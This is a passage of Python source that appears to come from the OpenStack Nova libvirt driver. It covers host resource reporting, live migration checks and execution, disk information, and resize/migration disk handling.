libvirt.libvirtError as e: LOG.warn(_("couldn't obtain the vpu count from domain id:" " %(id)s, exception: %(ex)s") % {"id": dom_id, "ex": e}) else: if vcpus is not None and len(vcpus) > 1: total += len(vcpus[1]) except exception.InstanceNotFound: LOG.info(_("libvirt can't find a domain with id: %s") % dom_id) continue # NOTE(gtt116): give change to do other task. greenthread.sleep(0) return total def get_memory_mb_used(self): """Get the free memory size(MB) of physical computer. :returns: the total usage of memory(MB). """ if sys.platform.upper() not in ['LINUX2', 'LINUX3']: return 0 m = open('/proc/meminfo').read().split() idx1 = m.index('MemFree:') idx2 = m.index('Buffers:') idx3 = m.index('Cached:') if CONF.libvirt.virt_type == 'xen': used = 0 for domain_id in self.list_instance_ids(): try: dom_mem = int(self._lookup_by_id(domain_id).info()[2]) except exception.InstanceNotFound: LOG.info(_("libvirt can't find a domain with id: %s") % domain_id) continue # skip dom0 if domain_id != 0: used += dom_mem else: # the mem reported by dom0 is be greater of what # it is being used used += (dom_mem - (int(m[idx1 + 1]) + int(m[idx2 + 1]) + int(m[idx3 + 1]))) # Convert it to MB return used / units.Ki else: avail = (int(m[idx1 + 1]) + int(m[idx2 + 1]) + int(m[idx3 + 1])) # Convert it to MB return self.get_memory_mb_total() - avail / units.Ki def get_hypervisor_type(self): """Get hypervisor type. :returns: hypervisor type (ex. qemu) """ return self._conn.getType() def get_hypervisor_version(self): """Get hypervisor version. :returns: hypervisor version (ex. 12003) """ # NOTE(justinsb): getVersion moved between libvirt versions # Trying to do be compatible with older versions is a lost cause # But ... we can at least give the user a nice message method = getattr(self._conn, 'getVersion', None) if method is None: raise exception.NovaException(_("libvirt version is too old" " (does not support getVersion)")) # NOTE(justinsb): If we wanted to get the version, we could: # method = getattr(libvirt, 'getVersion', None) # NOTE(justinsb): This would then rely on a proper version check return method() def get_hypervisor_hostname(self): """Returns the hostname of the hypervisor.""" hostname = self._conn.getHostname() if not hasattr(self, '_hypervisor_hostname'): self._hypervisor_hostname = hostname elif hostname != self._hypervisor_hostname: LOG.error(_('Hostname has changed from %(old)s ' 'to %(new)s. A restart is required to take effect.' ) % {'old': self._hypervisor_hostname, 'new': hostname}) return self._hypervisor_hostname def get_instance_capabilities(self): """Get hypervisor instance capabilities Returns a list of tuples that describe instances the hypervisor is capable of hosting. Each tuple consists of the triplet (arch, hypervisor_type, vm_mode). :returns: List of tuples describing instance capabilities """ caps = self.get_host_capabilities() instance_caps = list() for g in caps.guests: for dt in g.domtype: instance_cap = (g.arch, dt, g.ostype) instance_caps.append(instance_cap) return instance_caps def get_cpu_info(self): """Get cpuinfo information. Obtains cpu feature from virConnect.getCapabilities, and returns as a json string. :return: see above description """ caps = self.get_host_capabilities() cpu_info = dict() cpu_info['arch'] = caps.host.cpu.arch cpu_info['model'] = caps.host.cpu.model cpu_info['vendor'] = caps.host.cpu.vendor topology = dict() topology['sockets'] = caps.host.cpu.sockets topology['cores'] = caps.host.cpu.cores topology['threads'] = caps.host.cpu.threads cpu_info['topology'] = topology features = list() for f in caps.host.cpu.features: features.append(f.name) cpu_info['features'] = features # TODO(berrange): why do we bother converting the # libvirt capabilities XML into a special JSON format ? # The data format is different across all the drivers # so we could just return the raw capabilities XML # which 'compare_cpu' could use directly # # That said, arch_filter.py now seems to rely on # the libvirt drivers format which suggests this # data format needs to be standardized across drivers return jsonutils.dumps(cpu_info) def _get_pcidev_info(self, devname): """Returns a dict of PCI device.""" def _get_device_type(cfgdev): """Get a PCI device's device type. An assignable PCI device can be a normal PCI device, a SR-IOV Physical Function (PF), or a SR-IOV Virtual Function (VF). Only normal PCI devices or SR-IOV VFs are assignable, while SR-IOV PFs are always owned by hypervisor. Please notice that a PCI device with SR-IOV capability but not enabled is reported as normal PCI device. """ for fun_cap in cfgdev.pci_capability.fun_capability: if len(fun_cap.device_addrs) != 0: if fun_cap.type == 'virt_functions': return {'dev_type': 'type-PF'} if fun_cap.type == 'phys_function': phys_address = "%s:%s:%s.%s" % ( fun_cap.device_addrs[0][0].replace("0x", ''), fun_cap.device_addrs[0][1].replace("0x", ''), fun_cap.device_addrs[0][2].replace("0x", ''), fun_cap.device_addrs[0][3].replace("0x", '')) return {'dev_type': 'type-VF', 'phys_function': phys_address} return {'dev_type': 'type-PCI'} virtdev = self._conn.nodeDeviceLookupByName(devname) xmlstr = virtdev.XMLDesc(0) cfgdev = vconfig.LibvirtConfigNodeDevice() cfgdev.parse_str(xmlstr) address = "%04x:%02x:%02x.%1x" % ( cfgdev.pci_capability.domain, cfgdev.pci_capability.bus, cfgdev.pci_capability.slot, cfgdev.pci_capability.function) device = { "dev_id": cfgdev.name, "address": address, "product_id": cfgdev.pci_capability.product_id[2:6], "vendor_id": cfgdev.pci_capability.vendor_id[2:6], } #requirement by DataBase Model device['label'] = 'label_%(vendor_id)s_%(product_id)s' % device device.update(_get_device_type(cfgdev)) return device def _pci_device_assignable(self, device): if device['dev_type'] == 'type-PF': return False return self.dev_filter.device_assignable(device) def get_pci_passthrough_devices(self): """Get host pci devices information. Obtains pci devices information from libvirt, and returns as a json string. Each device information is a dictionary, with mandatory keys of 'address', 'vendor_id', 'product_id', 'dev_type', 'dev_id', 'label' and other optional device specific information. Refer to the objects/pci_device.py for more idea of these keys. :returns: a list of the assignable pci devices information """ pci_info = [] dev_names = self._conn.listDevices('pci', 0) or [] for name in dev_names: pci_dev = self._get_pcidev_info(name) if self._pci_device_assignable(pci_dev): pci_info.append(pci_dev) return jsonutils.dumps(pci_info) def get_all_volume_usage(self, context, compute_host_bdms): """Return usage info for volumes attached to vms on a given host. """ vol_usage = [] for instance_bdms in compute_host_bdms: instance = instance_bdms['instance'] for bdm in instance_bdms['instance_bdms']: vol_stats = [] mountpoint = bdm['device_name'] if mountpoint.startswith('/dev/'): mountpoint = mountpoint[5:] volume_id = bdm['volume_id'] LOG.debug(_("Trying to get stats for the volume %s"), volume_id) vol_stats = self.block_stats(instance['name'], mountpoint) if vol_stats: stats = dict(volume=volume_id, instance=instance, rd_req=vol_stats[0], rd_bytes=vol_stats[1], wr_req=vol_stats[2], wr_bytes=vol_stats[3], flush_operations=vol_stats[4]) LOG.debug( _("Got volume usage stats for the volume=%(volume)s," " rd_req=%(rd_req)d, rd_bytes=%(rd_bytes)d, " "wr_req=%(wr_req)d, wr_bytes=%(wr_bytes)d"), stats, instance=instance) vol_usage.append(stats) return vol_usage def block_stats(self, instance_name, disk): """Note that this function takes an instance name.""" try: domain = self._lookup_by_name(instance_name) return domain.blockStats(disk) except libvirt.libvirtError as e: errcode = e.get_error_code() LOG.info(_('Getting block stats failed, device might have ' 'been detached. Instance=%(instance_name)s ' 'Disk=%(disk)s Code=%(errcode)s Error=%(e)s'), {'instance_name': instance_name, 'disk': disk, 'errcode': errcode, 'e': e}) except exception.InstanceNotFound: LOG.info(_('Could not find domain in libvirt for instance %s. ' 'Cannot get block stats for device'), instance_name) def interface_stats(self, instance_name, interface): """Note that this function takes an instance name.""" domain = self._lookup_by_name(instance_name) return domain.interfaceStats(interface) def get_console_pool_info(self, console_type): #TODO(mdragon): console proxy should be implemented for libvirt, # in case someone wants to use it with kvm or # such. For now return fake data. return {'address': '127.0.0.1', 'username': 'fakeuser', 'password': 'fakepassword'} def refresh_security_group_rules(self, security_group_id): self.firewall_driver.refresh_security_group_rules(security_group_id) def refresh_security_group_members(self, security_group_id): self.firewall_driver.refresh_security_group_members(security_group_id) def refresh_instance_security_rules(self, instance): self.firewall_driver.refresh_instance_security_rules(instance) def refresh_provider_fw_rules(self): self.firewall_driver.refresh_provider_fw_rules() def get_available_resource(self, nodename): """Retrieve resource information. This method is called when nova-compute launches, and as part of a periodic task that records the results in the DB. :param nodename: will be put in PCI device :returns: dictionary containing resource info """ # Temporary: convert supported_instances into a string, while keeping # the RPC version as JSON. Can be changed when RPC broadcast is removed stats = self.get_host_stats(refresh=True) stats['supported_instances'] = jsonutils.dumps( stats['supported_instances']) return stats def check_instance_shared_storage_local(self, context, instance): dirpath = libvirt_utils.get_instance_path(instance) if not os.path.exists(dirpath): return None fd, tmp_file = tempfile.mkstemp(dir=dirpath) LOG.debug(_("Creating tmpfile %s to verify with other " "compute node that the instance is on " "the same shared storage."), tmp_file, instance=instance) os.close(fd) return {"filename": tmp_file} def check_instance_shared_storage_remote(self, context, data): return os.path.exists(data['filename']) def check_instance_shared_storage_cleanup(self, context, data): fileutils.delete_if_exists(data["filename"]) def check_can_live_migrate_destination(self, context, instance, src_compute_info, dst_compute_info, block_migration=False, disk_over_commit=False): """Check if it is possible to execute live migration. This runs checks on the destination host, and then calls back to the source host to check the results. :param context: security context :param instance: nova.db.sqlalchemy.models.Instance :param block_migration: if true, prepare for block migration :param disk_over_commit: if true, allow disk over commit :returns: a dict containing: :filename: name of the tmpfile under CONF.instances_path :block_migration: whether this is block migration :disk_over_commit: disk-over-commit factor on dest host :disk_available_mb: available disk space on dest host """ disk_available_mb = None if block_migration: disk_available_gb = dst_compute_info['disk_available_least'] disk_available_mb = \ (disk_available_gb * units.Ki) - CONF.reserved_host_disk_mb # Compare CPU source_cpu_info = src_compute_info['cpu_info'] self._compare_cpu(source_cpu_info) # Create file on storage, to be checked on source host filename = self._create_shared_storage_test_file() return {"filename": filename, "block_migration": block_migration, "disk_over_commit": disk_over_commit, "disk_available_mb": disk_available_mb} def check_can_live_migrate_destination_cleanup(self, context, dest_check_data): """Do required cleanup on dest host after check_can_live_migrate calls :param context: security context """ filename = dest_check_data["filename"] self._cleanup_shared_storage_test_file(filename) def check_can_live_migrate_source(self, context, instance, dest_check_data): """Check if it is possible to execute live migration. This checks if the live migration can succeed, based on the results from check_can_live_migrate_destination. :param context: security context :param instance: nova.db.sqlalchemy.models.Instance :param dest_check_data: result of check_can_live_migrate_destination :returns: a dict containing migration info """ # Checking shared storage connectivity # if block migration, instances_paths should not be on shared storage. source = CONF.host filename = dest_check_data["filename"] block_migration = dest_check_data["block_migration"] is_volume_backed = dest_check_data.get('is_volume_backed', False) has_local_disks = bool( jsonutils.loads(self.get_instance_disk_info(instance['name']))) shared = self._check_shared_storage_test_file(filename) if block_migration: if shared: reason = _("Block migration can not be used " "with shared storage.") raise exception.InvalidLocalStorage(reason=reason, path=source) self._assert_dest_node_has_enough_disk(context, instance, dest_check_data['disk_available_mb'], dest_check_data['disk_over_commit']) elif not shared and (not is_volume_backed or has_local_disks): reason = _("Live migration can not be used " "without shared storage.") raise exception.InvalidSharedStorage(reason=reason, path=source) dest_check_data.update({"is_shared_storage": shared}) # NOTE(mikal): include the instance directory name here because it # doesn't yet exist on the destination but we want to force that # same name to be used instance_path = libvirt_utils.get_instance_path(instance, relative=True) dest_check_data['instance_relative_path'] = instance_path return dest_check_data def _assert_dest_node_has_enough_disk(self, context, instance, available_mb, disk_over_commit): """Checks if destination has enough disk for block migration.""" # Libvirt supports qcow2 disk format,which is usually compressed # on compute nodes. # Real disk image (compressed) may enlarged to "virtual disk size", # that is specified as the maximum disk size. # (See qemu-img -f path-to-disk) # Scheduler recognizes destination host still has enough disk space # if real disk size < available disk size # if disk_over_commit is True, # otherwise virtual disk size < available disk size. available = 0 if available_mb: available = available_mb * units.Mi ret = self.get_instance_disk_info(instance['name']) disk_infos = jsonutils.loads(ret) necessary = 0 if disk_over_commit: for info in disk_infos: necessary += int(info['disk_size']) else: for info in disk_infos: necessary += int(info['virt_disk_size']) # Check that available disk > necessary disk if (available - necessary) < 0: reason = (_('Unable to migrate %(instance_uuid)s: ' 'Disk of instance is too large(available' ' on destination host:%(available)s ' '< need:%(necessary)s)') % {'instance_uuid': instance['uuid'], 'available': available, 'necessary': necessary}) raise exception.MigrationPreCheckError(reason=reason) def _compare_cpu(self, cpu_info): """Checks the host cpu is compatible to a cpu given by xml. "xml" must be a part of libvirt.openAuth(...).getCapabilities(). return values follows by virCPUCompareResult. if 0 > return value, do live migration. 'http://libvirt.org/html/libvirt-libvirt.html#virCPUCompareResult' :param cpu_info: json string that shows cpu feature(see get_cpu_info()) :returns: None. if given cpu info is not compatible to this server, raise exception. """ # NOTE(berendt): virConnectCompareCPU not working for Xen if CONF.libvirt.virt_type == 'xen': return 1 info = jsonutils.loads(cpu_info) LOG.info(_('Instance launched has CPU info:\n%s') % cpu_info) cpu = vconfig.LibvirtConfigCPU() cpu.arch = info['arch'] cpu.model = info['model'] cpu.vendor = info['vendor'] cpu.sockets = info['topology']['sockets'] cpu.cores = info['topology']['cores'] cpu.threads = info['topology']['threads'] for f in info['features']: cpu.add_feature(vconfig.LibvirtConfigCPUFeature(f)) u = "http://libvirt.org/html/libvirt-libvirt.html#virCPUCompareResult" m = _("CPU doesn't have compatibility.\n\n%(ret)s\n\nRefer to %(u)s") # unknown character exists in xml, then libvirt complains try: ret = self._conn.compareCPU(cpu.to_xml(), 0) except libvirt.libvirtError as e: with excutils.save_and_reraise_exception(): ret = unicode(e) LOG.error(m, {'ret': ret, 'u': u}) if ret <= 0: LOG.error(m, {'ret': ret, 'u': u}) raise exception.InvalidCPUInfo(reason=m % {'ret': ret, 'u': u}) def _create_shared_storage_test_file(self): """Makes tmpfile under CONF.instances_path.""" dirpath = CONF.instances_path fd, tmp_file = tempfile.mkstemp(dir=dirpath) LOG.debug(_("Creating tmpfile %s to notify to other " "compute nodes that they should mount " "the same storage.") % tmp_file) os.close(fd) return os.path.basename(tmp_file) def _check_shared_storage_test_file(self, filename): """Confirms existence of the tmpfile under CONF.instances_path. Cannot confirm tmpfile return False. """ tmp_file = os.path.join(CONF.instances_path, filename) if not os.path.exists(tmp_file): return False else: return True def _cleanup_shared_storage_test_file(self, filename): """Removes existence of the tmpfile under CONF.instances_path.""" tmp_file = os.path.join(CONF.instances_path, filename) os.remove(tmp_file) def ensure_filtering_rules_for_instance(self, instance, network_info, time_module=None): """Ensure that an instance's filtering rules are enabled. When migrating an instance, we need the filtering rules to be configured on the destination host before starting the migration. Also, when restarting the compute service, we need to ensure that filtering rules exist for all running services. """ if not time_module: time_module = greenthread self.firewall_driver.setup_basic_filtering(instance, network_info) self.firewall_driver.prepare_instance_filter(instance, network_info) # nwfilters may be defined in a separate thread in the case # of libvirt non-blocking mode, so we wait for completion timeout_count = range(CONF.live_migration_retry_count) while timeout_count: if self.firewall_driver.instance_filter_exists(instance, network_info): break timeout_count.pop() if len(timeout_count) == 0: msg = _('The firewall filter for %s does not exist') raise exception.NovaException(msg % instance.name) time_module.sleep(1) def filter_defer_apply_on(self): self.firewall_driver.filter_defer_apply_on() def filter_defer_apply_off(self): self.firewall_driver.filter_defer_apply_off() def live_migration(self, context, instance, dest, post_method, recover_method, block_migration=False, migrate_data=None): """Spawning live_migration operation for distributing high-load. :param context: security context :param instance: nova.db.sqlalchemy.models.Instance object instance object that is migrated. :param dest: destination host :param post_method: post operation method. expected nova.compute.manager.post_live_migration. :param recover_method: recovery method when any exception occurs. expected nova.compute.manager.recover_live_migration. :param block_migration: if true, do block migration. :param migrate_data: implementation specific params """ greenthread.spawn(self._live_migration, context, instance, dest, post_method, recover_method, block_migration, migrate_data) def _live_migration(self, context, instance, dest, post_method, recover_method, block_migration=False, migrate_data=None): """Do live migration. :param context: security context :param instance: nova.db.sqlalchemy.models.Instance object instance object that is migrated. :param dest: destination host :param post_method: post operation method. expected nova.compute.manager.post_live_migration. :param recover_method: recovery method when any exception occurs. expected nova.compute.manager.recover_live_migration. :param block_migration: if true, do block migration. :param migrate_data: implementation specific params """ # Do live migration. try: if block_migration: flaglist = CONF.libvirt.block_migration_flag.split(',') else: flaglist = CONF.libvirt.live_migration_flag.split(',') flagvals = [getattr(libvirt, x.strip()) for x in flaglist] logical_sum = reduce(lambda x, y: x | y, flagvals) dom = self._lookup_by_name(instance["name"]) dom.migrateToURI(CONF.libvirt.live_migration_uri % dest, logical_sum, None, CONF.libvirt.live_migration_bandwidth) except Exception as e: with excutils.save_and_reraise_exception(): LOG.error(_("Live Migration failure: %s"), e, instance=instance) recover_method(context, instance, dest, block_migration) # Waiting for completion of live_migration. timer = loopingcall.FixedIntervalLoopingCall(f=None) def wait_for_live_migration(): """waiting for live migration completion.""" try: self.get_info(instance)['state'] except exception.InstanceNotFound: timer.stop() post_method(context, instance, dest, block_migration, migrate_data) timer.f = wait_for_live_migration timer.start(interval=0.5).wait() def _fetch_instance_kernel_ramdisk(self, context, instance): """Download kernel and ramdisk for instance in instance directory.""" instance_dir = libvirt_utils.get_instance_path(instance) if instance['kernel_id']: libvirt_utils.fetch_image(context, os.path.join(instance_dir, 'kernel'), instance['kernel_id'], instance['user_id'], instance['project_id']) if instance['ramdisk_id']: libvirt_utils.fetch_image(context, os.path.join(instance_dir, 'ramdisk'), instance['ramdisk_id'], instance['user_id'], instance['project_id']) def rollback_live_migration_at_destination(self, context, instance, network_info, block_device_info): """Clean up destination node after a failed live migration.""" self.destroy(context, instance, network_info, block_device_info) def pre_live_migration(self, context, instance, block_device_info, network_info, disk_info, migrate_data=None): """Preparation live migration.""" # Steps for volume backed instance live migration w/o shared storage. is_shared_storage = True is_volume_backed = False is_block_migration = True instance_relative_path = None if migrate_data: is_shared_storage = migrate_data.get('is_shared_storage', True) is_volume_backed = migrate_data.get('is_volume_backed', False) is_block_migration = migrate_data.get('block_migration', True) instance_relative_path = migrate_data.get('instance_relative_path') if not is_shared_storage: # NOTE(mikal): block migration of instances using config drive is # not supported because of a bug in libvirt (read only devices # are not copied by libvirt). See bug/1246201 if configdrive.required_by(instance): raise exception.NoBlockMigrationForConfigDriveInLibVirt() # NOTE(mikal): this doesn't use libvirt_utils.get_instance_path # because we are ensuring that the same instance directory name # is used as was at the source if instance_relative_path: instance_dir = os.path.join(CONF.instances_path, instance_relative_path) else: instance_dir = libvirt_utils.get_instance_path(instance) if os.path.exists(instance_dir): raise exception.DestinationDiskExists(path=instance_dir) os.mkdir(instance_dir) # Ensure images and backing files are present. self._create_images_and_backing(context, instance, instance_dir, disk_info) if is_volume_backed and not (is_block_migration or is_shared_storage): # Touch the console.log file, required by libvirt. console_file = self._get_console_log_path(instance) libvirt_utils.file_open(console_file, 'a').close() # if image has kernel and ramdisk, just download # following normal way. self._fetch_instance_kernel_ramdisk(context, instance) # Establishing connection to volume server. block_device_mapping = driver.block_device_info_get_mapping( block_device_info) for vol in block_device_mapping: connection_info = vol['connection_info'] disk_info = blockinfo.get_info_from_bdm( CONF.libvirt.virt_type, vol) self.volume_driver_method('connect_volume', connection_info, disk_info) # We call plug_vifs before the compute manager calls # ensure_filtering_rules_for_instance, to ensure bridge is set up # Retry operation is necessary because continuously request comes, # concurrent request occurs to iptables, then it complains. max_retry = CONF.live_migration_retry_count for cnt in range(max_retry): try: self.plug_vifs(instance, network_info) break except processutils.ProcessExecutionError: if cnt == max_retry - 1: raise else: LOG.warn(_('plug_vifs() failed %(cnt)d. Retry up to ' '%(max_retry)d.'), {'cnt': cnt, 'max_retry': max_retry}, instance=instance) greenthread.sleep(1) def _create_images_and_backing(self, context, instance, instance_dir, disk_info_json): """:param context: security context :param instance: nova.db.sqlalchemy.models.Instance object instance object that is migrated. :param instance_dir: instance path to use, calculated externally to handle block migrating an instance with an old style instance path :param disk_info_json: json strings specified in get_instance_disk_info """ if not disk_info_json: disk_info = [] else: disk_info = jsonutils.loads(disk_info_json) for info in disk_info: base = os.path.basename(info['path']) # Get image type and create empty disk image, and # create backing file in case of qcow2. instance_disk = os.path.join(instance_dir, base) if not info['backing_file'] and not os.path.exists(instance_disk): libvirt_utils.create_image(info['type'], instance_disk, info['virt_disk_size']) elif info['backing_file']: # Creating backing file follows same way as spawning instances. cache_name = os.path.basename(info['backing_file']) image = self.image_backend.image(instance, instance_disk, CONF.libvirt.images_type) if cache_name.startswith('ephemeral'): image.cache(fetch_func=self._create_ephemeral, fs_label=cache_name, os_type=instance["os_type"], filename=cache_name, size=info['virt_disk_size'], ephemeral_size=instance['ephemeral_gb']) elif cache_name.startswith('swap'): inst_type = flavors.extract_flavor(instance) swap_mb = inst_type['swap'] image.cache(fetch_func=self._create_swap, filename="swap_%s" % swap_mb, size=swap_mb * units.Mi, swap_mb=swap_mb) else: image.cache(fetch_func=libvirt_utils.fetch_image, context=context, filename=cache_name, image_id=instance['image_ref'], user_id=instance['user_id'], project_id=instance['project_id'], size=info['virt_disk_size']) # if image has kernel and ramdisk, just download # following normal way. self._fetch_instance_kernel_ramdisk(context, instance) def post_live_migration(self, context, instance, block_device_info, migrate_data=None): # Disconnect from volume server block_device_mapping = driver.block_device_info_get_mapping( block_device_info) for vol in block_device_mapping: connection_info = vol['connection_info'] disk_dev = vol['mount_device'].rpartition("/")[2] self.volume_driver_method('disconnect_volume', connection_info, disk_dev) def post_live_migration_at_destination(self, context, instance, network_info, block_migration, block_device_info=None): """Post operation of live migration at destination host. :param context: security context :param instance: nova.db.sqlalchemy.models.Instance object instance object that is migrated. :param network_info: instance network information :param block_migration: if true, post operation of block_migration. """ # Define migrated instance, otherwise, suspend/destroy does not work. dom_list = self._conn.listDefinedDomains() if instance["name"] not in dom_list: # In case of block migration, destination does not have # libvirt.xml disk_info = blockinfo.get_disk_info( CONF.libvirt.virt_type, instance, block_device_info) xml = self.to_xml(context, instance, network_info, disk_info, block_device_info=block_device_info, write_to_disk=True) self._conn.defineXML(xml) def get_instance_disk_info(self, instance_name, xml=None, block_device_info=None): """Retrieve information about actual disk sizes of an instance. :param instance_name: name of a nova instance as returned by list_instances() :param xml: Optional; Domain XML of given libvirt instance. If omitted, this method attempts to extract it from the pre-existing definition. :param block_device_info: Optional; Can be used to filter out devices which are actually volumes. :return: json strings with below format:: "[{'path':'disk', 'type':'raw', 'virt_disk_size':'10737418240', 'backing_file':'backing_file', 'disk_size':'83886080'},...]" """ if xml is None: try: virt_dom = self._lookup_by_name(instance_name) xml = virt_dom.XMLDesc(0) except libvirt.libvirtError as ex: error_code = ex.get_error_code() msg = (_('Error from libvirt while getting description of ' '%(instance_name)s: [Error Code %(error_code)s] ' '%(ex)s') % {'instance_name': instance_name, 'error_code': error_code, 'ex': ex}) LOG.warn(msg) raise exception.InstanceNotFound(instance_id=instance_name) block_device_mapping = driver.block_device_info_get_mapping( block_device_info) volume_devices = set() for vol in block_device_mapping: disk_dev = vol['mount_device'].rpartition("/")[2] volume_devices.add(disk_dev) disk_info = [] doc = etree.fromstring(xml) disk_nodes = doc.findall('.//devices/disk') path_nodes = doc.findall('.//devices/disk/source') driver_nodes = doc.findall('.//devices/disk/driver') target_nodes = doc.findall('.//devices/disk/target') for cnt, path_node in enumerate(path_nodes): disk_type = disk_nodes[cnt].get('type') path = path_node.get('file') target = target_nodes[cnt].attrib['dev'] if not path: LOG.debug(_('skipping disk for %s as it does not have a path'), instance_name) continue if disk_type != 'file': LOG.debug(_('skipping %s since it looks like volume'), path) continue if target in volume_devices: LOG.debug(_('skipping disk %(path)s (%(target)s) as it is a ' 'volume'), {'path': path, 'target': target}) continue # get the real disk size or # raise a localized error if image is unavailable dk_size = int(os.path.getsize(path)) disk_type = driver_nodes[cnt].get('type') if disk_type == "qcow2": backing_file = libvirt_utils.get_disk_backing_file(path) virt_size = disk.get_disk_size(path) over_commit_size = int(virt_size) - dk_size else: backing_file = "" virt_size = dk_size over_commit_size = 0 disk_info.append({'type': disk_type, 'path': path, 'virt_disk_size': virt_size, 'backing_file': backing_file, 'disk_size': dk_size, 'over_committed_disk_size': over_commit_size}) return jsonutils.dumps(disk_info) def get_disk_over_committed_size_total(self): """Return total over committed disk size for all instances.""" # Disk size that all instance uses : virtual_size - disk_size instances_name = self.list_instances() disk_over_committed_size = 0 for i_name in instances_name: try: disk_infos = jsonutils.loads( self.get_instance_disk_info(i_name)) for info in disk_infos: disk_over_committed_size += int( info['over_committed_disk_size']) except OSError as e: if e.errno == errno.ENOENT: LOG.warning(_('Periodic task is updating the host stat, ' 'it is trying to get disk %(i_name)s, ' 'but disk file was removed by concurrent ' 'operations such as resize.'), {'i_name': i_name}) else: raise except exception.InstanceNotFound: # Instance was deleted during the check so ignore it pass # NOTE(gtt116): give change to do other task. greenthread.sleep(0) return disk_over_committed_size def unfilter_instance(self, instance, network_info): """See comments of same method in firewall_driver.""" self.firewall_driver.unfilter_instance(instance, network_info=network_info) def get_host_stats(self, refresh=False): """Return the current state of the host. If 'refresh' is True, run update the stats first. """ return self.host_state.get_host_stats(refresh=refresh) def get_host_cpu_stats(self): """Return the current CPU state of the host.""" # Extract node's CPU statistics. stats = self._conn.getCPUStats(libvirt.VIR_NODE_CPU_STATS_ALL_CPUS, 0) # getInfo() returns various information about the host node # No. 3 is the expected CPU frequency. stats["frequency"] = self._conn.getInfo()[3] return stats def get_host_uptime(self, host): """Returns the result of calling "uptime".""" #NOTE(dprince): host seems to be ignored for this call and in # other compute drivers as well. Perhaps we should remove it? out, err = utils.execute('env', 'LANG=C', 'uptime') return out def manage_image_cache(self, context, all_instances): """Manage the local cache of images.""" self.image_cache_manager.update(context, all_instances) def _cleanup_remote_migration(self, dest, inst_base, inst_base_resize, shared_storage=False): """Used only for cleanup in case migrate_disk_and_power_off fails.""" try: if os.path.exists(inst_base_resize): utils.execute('rm', '-rf', inst_base) utils.execute('mv', inst_base_resize, inst_base) if not shared_storage: utils.execute('ssh', dest, 'rm', '-rf', inst_base) except Exception: pass def _is_storage_shared_with(self, dest, inst_base): # NOTE (rmk): There are two methods of determining whether we are # on the same filesystem: the source and dest IP are the # same, or we create a file on the dest system via SSH # and check whether the source system can also see it. shared_storage = (dest == self.get_host_ip_addr()) if not shared_storage: tmp_file = uuid.uuid4().hex + '.tmp' tmp_path = os.path.join(inst_base, tmp_file) try: utils.execute('ssh', dest, 'touch', tmp_path) if os.path.exists(tmp_path): shared_storage = True os.unlink(tmp_path) else: utils.execute('ssh', dest, 'rm', tmp_path) except Exception: pass return shared_storage def migrate_disk_and_power_off(self, context, instance, dest, flavor, network_info, block_device_info=None): LOG.debug(_("Starting migrate_disk_and_power_off"), instance=instance) # Checks if the migration needs a disk resize down. for kind in ('root_gb', 'ephemeral_gb'): if flavor[kind] < instance[kind]: reason = _("Unable to resize disk down.") raise exception.InstanceFaultRollback( exception.ResizeError(reason=reason)) disk_info_text = self.get_instance_disk_info(instance['name'], block_device_info=block_device_info) disk_info = jsonutils.loads(disk_info_text) # copy disks to destination # rename instance dir to +_resize at first for using # shared storage for instance dir (eg. NFS). inst_base = libvirt_utils.get_instance_path(instance) inst_base_resize = inst_base + "_resize" shared_storage = self._is_storage_shared_with(dest, inst_base) # try to create the directory on the remote compute node # if this fails we pass the exception up the stack so we can catch # failures here earlier if not shared_storage: utils.execute('ssh', dest, 'mkdir', '-p', inst_base) self.power_off(instance) block_device_mapping = driver.block_device_info_get_mapping( block_device_info) for vol in block_device_mapping: connection_info = vol['connection_info'] disk_dev = vol['mount_device'].rpartition("/")[2] self.volume_driver_method('disconnect_volume', connection_info, disk_dev) try: utils.execute('mv', inst_base, inst_base_resize) # if we are migrating the instance with shared storage then # create the directory. If it is a remote node the directory # has already been created if shared_storage: dest = None utils.execute('mkdir', '-p', inst_base) for info in disk_info: # assume inst_base == dirname(info['path']) img_path = info['path'] fname = os.path.basename(img_path) from_path = os.path.join(inst_base_resize, fname) if info['type'] == 'qcow2' and info['backing_file']: tmp_path = from_path + "_rbase" # merge backing file utils.execute('qemu-img', 'convert', '-f', 'qcow2', '-O', 'qcow2', from_path, tmp_path) if shared_storage: utils.execute('mv', tmp_path, img_path) else: libvirt_utils.copy_image(tmp_path, img_path, host=dest) utils.execute('rm', '-f', tmp_path) else: # raw or qcow2 with no backing file libvirt_utils.copy_image(from_path, img_path, host=dest) except Exception: with excutils.save_and_reraise_exception(): self._cleanup_remote_migration(dest, inst_base, inst_base_resize, shared_storage) return disk_info_text def _wait_for_running(self, instance): state = self.get_info(instance)['state'] if state == power_state.RUNNING: LOG.info(_("Instance running successfully."), instance=instance) raise loopingcall.LoopingCallDone() def finish_migration(self, context, migration, instance, disk_info, network_info, image_meta, resize_instance, block_device_info=None, power_on=True): LOG.debug(_("Starting finish_migration"), instance=instance) # resize disks. only "disk" and "disk.local" are necessary. disk_info = jsonutils.loads(disk_info) for info in disk_info: fname = os.path.basename(info['path']) if fname == 'disk': size = instance['root_gb'] elif fname == 'disk.local': size = instance['ephemeral_gb'] else: size = 0 size *= units.Gi # If we have a non partitioned image that we can extend # then ensure we're in 'raw' format so we can extend file system. fmt = info['type'] if (size and fmt == 'qcow2' and disk.can_resize_image(info['path'], size) and disk.is_image_partitionless(info['path'], use_cow=True)): path_raw = info['path'] + '_raw' utils.execute('qemu-img', 'convert', '-f', 'qcow2', '-O', 'raw', info['path'], path_raw) utils.execute('mv', path_raw, info['path']) fmt = 'raw' if size: use_cow = fmt == 'qcow2' disk.extend(info['path'], size, use_cow=use_cow) if fmt == 'raw' and CONF.use_cow_images: # back to qcow2 (no backing_file though) so that snapshot # will be available path_qcow = info['path'] + '_qcow' utils.execute('qemu-img', 'convert', '-f', 'raw', '-O', 'qcow2', info['path'], path_qcow) utils.execute('mv', path_qcow, info['path']) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance, block_device_info, image_meta) # assume _create_image do nothing if a target file exists. self._create_image(context, instance, disk_mapping=disk_info['mapping'], network_info=network_info, block_device_info=None, inject_files=False) xml = self.to_xml(context, instance, network_info, disk_info, block_device_info=block_device_info, write_to_disk=True) self._create_domain_and_network(context, xml, instance, network_info, block_device_info, power_on) if power_on: timer = loopingcall.FixedIntervalLoopingCall( self._wait_for_running, instance) timer.start(interval=0.5).wait() def _cleanup_failed_migration(self, inst_base): """Make sure that a failed migrate doesn't prevent us from rolling back in a revert. """ try: shutil.rmtree(inst_base) except OSError as e: if e.errno != errno.ENOENT: raise def finish_revert_migration(self, context, instance, network_info, block_device_info=None, power_on=True): LOG.debug(_("Starting 